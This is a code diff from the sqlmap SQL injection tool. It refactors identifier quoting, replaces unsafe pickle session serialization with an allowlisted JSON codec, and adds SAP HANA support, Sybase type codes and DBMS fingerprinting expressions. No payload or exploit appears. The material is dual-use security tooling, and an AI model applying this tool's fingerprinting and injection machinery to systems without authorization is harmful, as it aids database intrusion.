|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
_ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE)
|
||||
|
||||
if _:
|
||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
||||
@@ -4424,13 +4504,13 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||
if not conf.noEscape:
|
||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if isTable:
|
||||
parts = retVal.split('.', 1)
|
||||
for i in xrange(len(parts)):
|
||||
@@ -4463,16 +4543,21 @@ def unsafeSQLIdentificatorNaming(name):
|
||||
retVal = name
|
||||
|
||||
if isinstance(name, six.string_types):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
|
||||
# Resolve the identified DBMS once; it is invariant within this call, and
|
||||
# Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously
|
||||
# it was re-evaluated up to five times per call.
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
|
||||
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
|
||||
retVal = name.replace("`", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
retVal = name.replace("\"", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA):
|
||||
retVal = name.replace("\"", "").upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
retVal = name.replace("[", "").replace("]", "")
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
|
||||
|
||||
return retVal
|
||||
@@ -5058,7 +5143,7 @@ def serializeObject(object_):
|
||||
True
|
||||
"""
|
||||
|
||||
return base64pickle(object_)
|
||||
return serializeValue(object_)
|
||||
|
||||
def unserializeObject(value):
|
||||
"""
|
||||
@@ -5066,11 +5151,11 @@ def unserializeObject(value):
|
||||
|
||||
>>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3]
|
||||
True
|
||||
>>> unserializeObject('gAJVBmZvb2JhcnEBLg==')
|
||||
'foobar'
|
||||
>>> unserializeObject(serializeObject('foobar')) == 'foobar'
|
||||
True
|
||||
"""
|
||||
|
||||
return base64unpickle(value) if value else None
|
||||
return deserializeValue(value) if value else None
|
||||
|
||||
def resetCounter(technique):
|
||||
"""
|
||||
@@ -5826,30 +5911,35 @@ def chunkSplitPostData(data):
|
||||
|
||||
return "".join(retVal)
|
||||
|
||||
def checkSums():
|
||||
def isGitRepository():
|
||||
"""
|
||||
Validate the content of the digest file (i.e. sha256sums.txt)
|
||||
>>> checkSums()
|
||||
Whether the running source tree is a git working copy (i.e. a clone / dev checkout, as opposed to a
|
||||
pip/tarball install)
|
||||
"""
|
||||
|
||||
return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git"))
|
||||
|
||||
def codeIsModified():
|
||||
"""
|
||||
Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting
|
||||
crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a
|
||||
pip/tarball install is taken as shipped (returns False). A transient git error also yields False,
|
||||
so a missing git binary never silences a legitimate report.
|
||||
|
||||
>>> codeIsModified() in (True, False)
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = True
|
||||
retVal = False
|
||||
|
||||
if paths.get("DIGEST_FILE"):
|
||||
for entry in getFileItems(paths.DIGEST_FILE):
|
||||
match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry)
|
||||
if match:
|
||||
expected, filename = match.groups()
|
||||
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep)
|
||||
if not checkFile(filepath, False):
|
||||
continue
|
||||
with open(filepath, "rb") as f:
|
||||
content = f.read()
|
||||
if b'\0' not in content:
|
||||
content = content.replace(b"\r\n", b"\n")
|
||||
if not hashlib.sha256(content).hexdigest() == expected:
|
||||
retVal &= False
|
||||
break
|
||||
if isGitRepository():
|
||||
try:
|
||||
process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
process.communicate()
|
||||
if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error)
|
||||
retVal = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
|
||||
+238
-34
@@ -5,14 +5,11 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import cPickle as pickle
|
||||
except:
|
||||
import pickle
|
||||
|
||||
import base64
|
||||
import binascii
|
||||
import codecs
|
||||
import datetime
|
||||
import decimal
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
@@ -26,7 +23,6 @@ from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
|
||||
from lib.core.settings import IS_TTY
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PICKLE_PROTOCOL
|
||||
from lib.core.settings import SAFE_HEX_MARKER
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from thirdparty import six
|
||||
@@ -41,48 +37,249 @@ except ImportError:
|
||||
|
||||
htmlEscape = _escape
|
||||
|
||||
def base64pickle(value):
|
||||
"""
|
||||
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
||||
# Safe (no arbitrary code execution) serialization used for the session store (HashDB)
|
||||
# and BigArray disk chunks. The former serializer could execute code while loading, so
|
||||
# deserializing sqlmap's own (locally writable) session/cache files was a recurring
|
||||
# report magnet. This codec serializes to plain JSON with explicit type tags, so nothing
|
||||
# is ever executed on load.
|
||||
#
|
||||
# JSON natively covers only str/int/float/bool/None/list, and silently loses the rest
|
||||
# (int/tuple dict keys become strings, set/tuple/bytes are rejected). The tagged wrappers
|
||||
# below preserve every type sqlmap actually stores: bytes, tuple, set/frozenset, dict with
|
||||
# arbitrary (non-string) keys, DB-driver scalars (Decimal/datetime/...), and the handful of
|
||||
# sqlmap's own classes below. Reconstruction of classes is limited to that explicit
|
||||
# allowlist (no module/namespace wildcard), so no dangerous callable is ever reachable.
|
||||
|
||||
>>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3]
|
||||
True
|
||||
>>> isinstance(base64unpickle(base64pickle(BigArray([1, 2, 3]))), BigArray)
|
||||
True
|
||||
# reserved wrapper key; data mappings are encoded as tagged pair-lists (never as bare JSON
|
||||
# objects), so any decoded JSON object is one of our wrappers and this key can never collide
|
||||
_SERIALIZE_TAG = "$T"
|
||||
|
||||
# fully-qualified names of the ONLY classes that may be reconstructed on deserialization
|
||||
_SERIALIZE_CLASSES = frozenset((
|
||||
"lib.core.datatype.AttribDict",
|
||||
"lib.core.datatype.InjectionDict",
|
||||
"lib.utils.har.RawPair",
|
||||
))
|
||||
|
||||
def _serializeEncode(value):
|
||||
"""
|
||||
Turns a Python value into a JSON-serializable (tagged) structure
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
if value is None or isinstance(value, bool) or isinstance(value, float) or isinstance(value, six.integer_types):
|
||||
return value
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
return value
|
||||
|
||||
# Note: on Python 2 'str' is binary; base64-tagging it (rather than emitting a native JSON
|
||||
# string that would round-trip as 'unicode') keeps the exact byte type across versions
|
||||
if isinstance(value, (six.binary_type, bytearray)):
|
||||
raw = bytes(value) if isinstance(value, bytearray) else value
|
||||
retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0}
|
||||
if six.PY3: # mark genuine Python 3 bytes so restore keeps them bytes; a
|
||||
retVal["pv"] = 3 # Python 2 'str' (text) is unmarked and recovered as text (see decode)
|
||||
return retVal
|
||||
|
||||
if isinstance(value, memoryview):
|
||||
retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0}
|
||||
if six.PY3:
|
||||
retVal["pv"] = 3
|
||||
return retVal
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
|
||||
except:
|
||||
warnMsg = "problem occurred while serializing "
|
||||
warnMsg += "instance of a type '%s'" % type(value)
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
if isinstance(value, buffer): # noqa: F821 # Python 2 only
|
||||
return {_SERIALIZE_TAG: "b", "v": encodeBase64(bytes(value), binary=False), "a": 0}
|
||||
except NameError:
|
||||
pass
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value), binary=False)
|
||||
except:
|
||||
raise
|
||||
# Note: BigArray is a 'list' subclass, so it must be matched before the plain-list branch
|
||||
# (otherwise it would round-trip as a plain list, losing its type)
|
||||
if isinstance(value, BigArray):
|
||||
return {_SERIALIZE_TAG: "ba", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, list):
|
||||
return [_serializeEncode(_) for _ in value]
|
||||
|
||||
if isinstance(value, tuple):
|
||||
return {_SERIALIZE_TAG: "t", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, frozenset):
|
||||
return {_SERIALIZE_TAG: "f", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, (set, _collections.Set)):
|
||||
return {_SERIALIZE_TAG: "s", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, dict):
|
||||
name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__)
|
||||
if name in _SERIALIZE_CLASSES:
|
||||
return {_SERIALIZE_TAG: "o", "c": name, "d": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()], "s": _serializeEncode(dict(value.__dict__))}
|
||||
elif value.__class__ is dict or (name or "").split(".")[0] not in ("lib", "plugins", "thirdparty"):
|
||||
# a plain dict, or a foreign mapping subclass (e.g. collections.OrderedDict/defaultdict): store the
|
||||
# items as a plain mapping so the data round-trips, instead of silently degrading to its text repr.
|
||||
# A non-allowlisted lib/plugins/thirdparty subclass still falls through to _serializeUnknown (fail loudly)
|
||||
return {_SERIALIZE_TAG: "m", "v": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()]}
|
||||
else:
|
||||
return _serializeUnknown(value, name)
|
||||
|
||||
if isinstance(value, decimal.Decimal):
|
||||
return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)}
|
||||
|
||||
if isinstance(value, datetime.datetime):
|
||||
return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]}
|
||||
|
||||
if isinstance(value, datetime.date):
|
||||
return {_SERIALIZE_TAG: "date", "v": [value.year, value.month, value.day]}
|
||||
|
||||
if isinstance(value, datetime.time):
|
||||
return {_SERIALIZE_TAG: "time", "v": [value.hour, value.minute, value.second, value.microsecond]}
|
||||
|
||||
if isinstance(value, datetime.timedelta):
|
||||
return {_SERIALIZE_TAG: "td", "v": [value.days, value.seconds, value.microseconds]}
|
||||
|
||||
name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__)
|
||||
if name in _SERIALIZE_CLASSES:
|
||||
return {_SERIALIZE_TAG: "o", "c": name, "s": _serializeEncode(dict(value.__dict__))}
|
||||
|
||||
return _serializeUnknown(value, name)
|
||||
|
||||
def _serializeUnknown(value, name):
|
||||
"""
|
||||
Fallback for a type not explicitly handled by the serializer
|
||||
"""
|
||||
|
||||
# sqlmap's own (or bundled) classes MUST be added to the allowlist explicitly - fail loudly
|
||||
# (caught by the regression tests) rather than silently store something that cannot be restored
|
||||
if (name or "").split(".")[0] in ("lib", "plugins", "thirdparty"):
|
||||
raise TypeError("serialization of type '%s' is not supported" % name)
|
||||
|
||||
# a foreign/exotic scalar (e.g. an unusual DB-driver value): degrade to its textual form rather
|
||||
# than crash a user's session - session values are only ever rendered (getUnicode) downstream
|
||||
singleTimeWarnMessage("serializing value of unsupported type '%s' as text" % name)
|
||||
return getUnicode(value)
|
||||
|
||||
def _serializeDecode(struct):
|
||||
"""
|
||||
Restores a Python value from a JSON-deserialized (tagged) structure
|
||||
"""
|
||||
|
||||
if struct is None or isinstance(struct, bool) or isinstance(struct, float) or isinstance(struct, six.integer_types):
|
||||
return struct
|
||||
|
||||
if isinstance(struct, six.text_type):
|
||||
return struct
|
||||
|
||||
if isinstance(struct, six.binary_type): # defensive - json.loads() yields text, not bytes
|
||||
return getUnicode(struct)
|
||||
|
||||
if isinstance(struct, list):
|
||||
return [_serializeDecode(_) for _ in struct]
|
||||
|
||||
if isinstance(struct, dict):
|
||||
tag = struct.get(_SERIALIZE_TAG)
|
||||
|
||||
if tag == "b":
|
||||
raw = decodeBase64(struct["v"], binary=True)
|
||||
if struct.get("a"):
|
||||
return bytearray(raw)
|
||||
# Genuine Python 3 bytes (pv==3) are kept as-is. A value WITHOUT the marker was
|
||||
# written by Python 2, whose text-'str' goes through this bytes branch; on Python 3
|
||||
# that would surface as 'bytes' and break str consumers - most visibly kb.chars,
|
||||
# whose str-key lookups then return None and crash cleanupPayload(). Recover such
|
||||
# cross-version TEXT by decoding valid UTF-8 to 'str'; real binary stays bytes.
|
||||
if struct.get("pv") == 3 or not six.PY3:
|
||||
return raw
|
||||
try:
|
||||
return raw.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return raw
|
||||
elif tag == "t":
|
||||
return tuple(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "f":
|
||||
return frozenset(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "ba":
|
||||
return BigArray([_serializeDecode(_) for _ in struct["v"]])
|
||||
elif tag == "s":
|
||||
return set(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "m":
|
||||
return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct["v"])
|
||||
elif tag == "dec":
|
||||
return decimal.Decimal(struct["v"])
|
||||
elif tag == "dt":
|
||||
return datetime.datetime(*struct["v"])
|
||||
elif tag == "date":
|
||||
return datetime.date(*struct["v"])
|
||||
elif tag == "time":
|
||||
return datetime.time(*struct["v"])
|
||||
elif tag == "td":
|
||||
return datetime.timedelta(struct["v"][0], struct["v"][1], struct["v"][2])
|
||||
elif tag == "o":
|
||||
return _serializeDecodeObject(struct)
|
||||
elif tag is None: # defensive - a bare mapping should never occur
|
||||
return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct.items())
|
||||
else:
|
||||
raise ValueError("unsupported serialized tag '%s'" % tag)
|
||||
|
||||
raise ValueError("unsupported serialized structure of type '%s'" % type(struct))
|
||||
|
||||
def _serializeResolveClass(name):
|
||||
"""
|
||||
Resolves an allowlisted class name to its class (nothing else may be reconstructed)
|
||||
"""
|
||||
|
||||
if name not in _SERIALIZE_CLASSES:
|
||||
raise ValueError("deserialization of class '%s' is forbidden" % name)
|
||||
|
||||
if name == "lib.utils.har.RawPair":
|
||||
from lib.utils.har import RawPair
|
||||
return RawPair
|
||||
else:
|
||||
from lib.core.datatype import AttribDict, InjectionDict
|
||||
return InjectionDict if name.endswith("InjectionDict") else AttribDict
|
||||
|
||||
def _serializeDecodeObject(struct):
|
||||
"""
|
||||
Reconstructs an allowlisted class instance from its serialized form
|
||||
"""
|
||||
|
||||
_class = _serializeResolveClass(struct.get("c"))
|
||||
retVal = _class.__new__(_class)
|
||||
|
||||
if isinstance(retVal, dict):
|
||||
for pair in (struct.get("d") or []):
|
||||
dict.__setitem__(retVal, _serializeDecode(pair[0]), _serializeDecode(pair[1]))
|
||||
|
||||
state = _serializeDecode(struct.get("s") or {})
|
||||
if isinstance(state, dict):
|
||||
retVal.__dict__.update(state)
|
||||
|
||||
return retVal
|
||||
|
||||
def base64unpickle(value):
|
||||
def serializeValue(value):
|
||||
"""
|
||||
Decodes value from Base64 to plain format and deserializes (with pickle) its content
|
||||
Safely serializes a Python value to its canonical serialized form (JSON text), without any
|
||||
code-execution risk
|
||||
|
||||
>>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object
|
||||
Note: the output is pure ASCII text, so it is stored verbatim in the (TEXT) session store - no
|
||||
Base64 (or any base-N) wrapping is needed (that was only required by the former binary
|
||||
serialization), which also keeps the stored form as small as possible. Callers that need raw
|
||||
bytes (e.g. a compressed BigArray disk chunk) simply encode the returned text.
|
||||
|
||||
>>> deserializeValue(serializeValue({1: 'a', 'b': (2, 3), 'c': {4, 5}})) == {1: 'a', 'b': (2, 3), 'c': {4, 5}}
|
||||
True
|
||||
>>> deserializeValue(serializeValue([1, 2, (3, {4: b'5'})])) == [1, 2, (3, {4: b'5'})]
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
return json.dumps(_serializeEncode(value), ensure_ascii=True, separators=(',', ':'))
|
||||
|
||||
try:
|
||||
retVal = pickle.loads(decodeBase64(value))
|
||||
except TypeError:
|
||||
retVal = pickle.loads(decodeBase64(bytes(value)))
|
||||
def deserializeValue(value):
|
||||
"""
|
||||
Restores a Python value from its serialized form (accepts the serialized data as either text or
|
||||
bytes)
|
||||
"""
|
||||
|
||||
return retVal
|
||||
return _serializeDecode(json.loads(getText(value)))
|
||||
|
||||
def htmlUnescape(value):
|
||||
"""
|
||||
@@ -380,7 +577,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
||||
|
||||
try:
|
||||
return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
|
||||
except UnicodeDecodeError:
|
||||
except (UnicodeDecodeError, LookupError): # LookupError: an unknown/invalid encoding name must fall back, not crash
|
||||
return six.text_type(value, UNICODE_ENCODING, errors="reversible")
|
||||
elif isListLike(value):
|
||||
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
|
||||
@@ -440,7 +637,14 @@ def stdoutEncode(value):
|
||||
|
||||
kb.codePage = kb.codePage or ""
|
||||
|
||||
encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
|
||||
# Python 3.6+ writes to the Windows console via WriteConsoleW (PEP 528), so sys.stdout.encoding
|
||||
# (typically 'utf-8') renders Unicode that the legacy OEM/ANSI code page from 'chcp' would replace
|
||||
# with '?'; prefer it there. The chcp-derived code page stays as the fallback (older interpreters,
|
||||
# PYTHONLEGACYWINDOWSSTDIO, or a console encoding Python could not determine) and for Python 2.
|
||||
if six.PY3:
|
||||
encoding = getattr(sys.stdout, "encoding", None) or kb.get("codePage") or UNICODE_ENCODING
|
||||
else:
|
||||
encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
|
||||
|
||||
if six.PY3:
|
||||
if isinstance(value, (bytes, bytearray)):
|
||||
|
||||
@@ -8,7 +8,7 @@ See the file 'LICENSE' for copying permission
|
||||
import copy
|
||||
import threading
|
||||
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
|
||||
class AttribDict(dict):
|
||||
|
||||
@@ -15,6 +15,11 @@ from lib.core.threads import getCurrentThreadData
|
||||
_cache = {}
|
||||
_method_locks = {}
|
||||
|
||||
# Private marker prefixing the slow-path (frozen) cache key so it can never collide with a raw
|
||||
# fast-path key: without it e.g. args ([1,2],) freezes to ((1,2),), the exact fast key of ((1,2),),
|
||||
# and the two calls would share a cache slot and return each other's result
|
||||
_FROZEN_KEY_MARKER = object()
|
||||
|
||||
def cachedmethod(f):
|
||||
"""
|
||||
Method with a cached content
|
||||
@@ -62,9 +67,9 @@ def cachedmethod(f):
|
||||
# Note: fallback (slow-path) for unhashable arguments
|
||||
try:
|
||||
if kwargs:
|
||||
key = (_freeze(args), _freeze(kwargs))
|
||||
key = (_FROZEN_KEY_MARKER, _freeze(args), _freeze(kwargs))
|
||||
else:
|
||||
key = _freeze(args)
|
||||
key = (_FROZEN_KEY_MARKER, _freeze(args))
|
||||
|
||||
with lock:
|
||||
if key in cache:
|
||||
|
||||
+52
-6
@@ -21,6 +21,7 @@ from lib.core.settings import EXTREMEDB_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import FRONTBASE_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import HANA_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
@@ -123,6 +124,28 @@ SYBASE_TYPES = {
|
||||
3: "binary",
|
||||
19: "text",
|
||||
20: "image",
|
||||
# the rest of master..systypes on ASE 15/16 - without these, --schema prints the raw user type number
|
||||
# for columns as ordinary as bigint, date and univarchar
|
||||
34: "unichar",
|
||||
35: "univarchar",
|
||||
36: "unitext",
|
||||
37: "date",
|
||||
38: "time",
|
||||
39: "daten",
|
||||
40: "timen",
|
||||
42: "longsysname",
|
||||
43: "bigint",
|
||||
44: "usmallint",
|
||||
45: "uint",
|
||||
46: "ubigint",
|
||||
47: "uintn",
|
||||
48: "bigdatetime",
|
||||
49: "bigtime",
|
||||
50: "bigdatetimen",
|
||||
51: "bigtimen",
|
||||
53: "text_locator",
|
||||
54: "image_locator",
|
||||
55: "unitext_locator",
|
||||
}
|
||||
|
||||
ALTIBASE_TYPES = {
|
||||
@@ -230,9 +253,9 @@ DBMS_DICT = {
|
||||
DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"),
|
||||
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"),
|
||||
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
|
||||
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"),
|
||||
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
|
||||
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
|
||||
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python3-firebirdsql", "https://github.com/nakagami/pyfirebirdsql/", "firebird"),
|
||||
DBMS.MAXDB: (MAXDB_ALIASES, None, None, None), # 'maxdb'/'sapdb' SQLAlchemy dialect was removed long ago; a dead dialect only produces a misleading warning
|
||||
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", None), # 'sybase' SQLAlchemy dialect was removed in 1.4 (external replacement abandoned); pymssql/dbwire cover '-d', so a dead dialect only wastes an attempt and shows a misleading warning
|
||||
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None),
|
||||
DBMS.H2: (H2_ALIASES, None, None, None),
|
||||
@@ -254,6 +277,24 @@ DBMS_DICT = {
|
||||
DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
|
||||
DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
|
||||
DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"),
|
||||
DBMS.HANA: (HANA_ALIASES, "hdbcli", "https://pypi.org/project/hdbcli/", "hana"),
|
||||
}
|
||||
|
||||
# DBMS -> pure-python 'extra/dbwire' wire-protocol module, used as a dependency-free '-d' fallback when
|
||||
# neither a native driver nor SQLAlchemy is installed (a single module serves the whole compatible family,
|
||||
# e.g. 'postgres' also covers CockroachDB/CrateDB/Redshift/Greenplum)
|
||||
DBWIRE_MODULES = {
|
||||
DBMS.PGSQL: "postgres",
|
||||
DBMS.CRATEDB: "postgres", # CrateDB speaks the PostgreSQL wire protocol
|
||||
DBMS.MYSQL: "mysql",
|
||||
DBMS.MSSQL: "tds",
|
||||
DBMS.SYBASE: "sybase", # ASE speaks TDS 5.0, a different login and token dialect than Microsoft's 7.x
|
||||
DBMS.CLICKHOUSE: "clickhouse",
|
||||
DBMS.MONETDB: "monetdb",
|
||||
DBMS.PRESTO: "presto",
|
||||
DBMS.FIREBIRD: "firebird",
|
||||
DBMS.VERTICA: "postgres", # Vertica speaks a PostgreSQL-v3-derived wire protocol (trust/cleartext/md5 auth)
|
||||
DBMS.CUBRID: "cubrid",
|
||||
}
|
||||
|
||||
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
|
||||
@@ -267,20 +308,23 @@ FROM_DUMMY_TABLE = {
|
||||
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
|
||||
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
|
||||
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
|
||||
DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
|
||||
DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS",
|
||||
DBMS.HANA: " FROM DUMMY"
|
||||
}
|
||||
|
||||
HEURISTIC_NULL_EVAL = {
|
||||
DBMS.ACCESS: "CVAR(NULL)",
|
||||
DBMS.MAXDB: "ALPHA(NULL)",
|
||||
DBMS.MSSQL: "PARSENAME(NULL,NULL)",
|
||||
DBMS.SYBASE: "STR_REPLACE(NULL,'x','x')", # ASE extension (MSSQL has REPLACE); doc-derived, not live-tested. Also SAP IQ / SQL Anywhere (not in DBMS)
|
||||
DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0
|
||||
DBMS.ORACLE: "INSTR2(NULL,NULL)",
|
||||
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
|
||||
DBMS.SQLITE: "JULIANDAY(NULL)",
|
||||
DBMS.H2: "STRINGTOUTF8(NULL)",
|
||||
